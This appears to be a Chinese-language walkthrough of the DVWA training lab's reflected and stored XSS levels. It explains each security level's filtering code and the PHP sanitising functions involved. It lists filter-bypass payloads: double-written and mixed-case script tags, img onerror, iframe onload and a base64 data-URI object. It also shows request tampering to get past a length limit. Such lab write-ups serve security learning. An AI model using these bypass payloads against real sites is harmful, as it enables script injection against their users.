payload<script>alert(1)</script>
medium
1 |
|
过滤了<script>
,str_replace
很弱
payload<scr<script>ipt>alert(1)</script>
,大小写混写也可以
high
1 |
|
使用了正则且避免了双写,使用img
标签或者iframe
标签
payload<img src=1 onerror=alert(/xss/)>
或<iframe onload=alert(/xss/)>
或<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4="></object>
impossible
1 |
|
PHP htmlspecialchars()
函数1
2
3
4
5
" (双引号)成为 "
' (单引号)成为 '//生效需要加 ENT_QUOTES 参数
< (小于)成为 <
> (大于)成为 >
可以看到,Impossible Security Level的代码使用htmlspecialchars函数把预定义的字符:& " ' < >
转换为HTML实体,防止浏览器将其作为HTML元素。从而防治了反射型XSS利用和危害。
XSS Stored
low
1 |
|
trim(string,charlist)
: 移除string字符两侧的预定义字符,预定义字符包括\t 、 \n 、\x0B 、\r以及空格,可选参数charlist支持添加额外需要删除的字符
stripslashes(string)
: 去除掉string字符的反斜杠\
mysqli_real_escape_string(string,connection)
:函数会对字符串string中的特殊符号(\x00,\n,\r,\,‘,“,\x1a)进行转义。
$GLOBALS
:引用全局作用域中可用的全部变量。$GLOBALS 这种全局变量用于在 PHP 脚本中的任意位置访问全局变量(从函数或方法中均可)。PHP 在名为 $GLOBALS[index] 的数组中存储了所有全局变量。变量的名字就是数组的键。
可以看出,low级别的代码对我们输入的message
和name
并没有进行XSS过滤,而且数据存储在数据库中,存在比较明显的存储型XSS漏洞
我们输入 1 和 <script>alert('hack')</script>
,可以看到,我们的js代码立即就执行了
medium
1 |
|
addslashes(string)
:函数返回在预定义字符之前添加反斜杠的字符串,预定义字符 ‘ 、” 、\ 、NULL
strip_tags(string)
:函数剥去string字符串中的 HTML、XML 以及 PHP 的标签
htmlspecialchars(string)
: 把预定义的字符 “<” (小于)、 “>” (大于)、& 、‘’、“” 转换为 HTML 实体,防止浏览器将其作为HTML元素
当我们再次输入1 和<script>alert('hack')</script>
,strip_tags函数把<script>
标签给剥除了,addslashes
函数把 ‘ 转义成了 \’
虽然Message
参数把所有的XSS都给过滤了,但是name参数只是过滤了<script>
标签而已,我们依然可以在name参数进行注入
可是发现name
参数对长度有限制,最大长度是10
所以我们想到了抓包,然后进行篡改,我们输入如下的,然后抓包
如下框中的数据就是 <script>al
经过URL编码后的数据
我们需要将其修改为 <SCRIPT>alert('hack')</SCRIPT>
经过URL编码后的数据
提交后,就可以看到弹出此框了,说明我们的js代码执行了
high
1 |
|
可以看到,high级别只是在medium级别上,name参数用了正则表达式进行过滤而已,我们仍然可以在name参数做手脚,抓包,然后改包,只不过这次改成<img src=1 onerror=alert('hack')>
然后将 <img src=1 onerror=alert('hack')>
进行URL编码
impossible
1 |
|
可以看到,这次impossible在high级别的基础上对name参数也进行了更严格的过滤,导致name参数也无法进行XSS攻击。而且使用了Anti-CSRF token防止CSRF攻击,完全杜绝了XSS漏洞和CSRF漏洞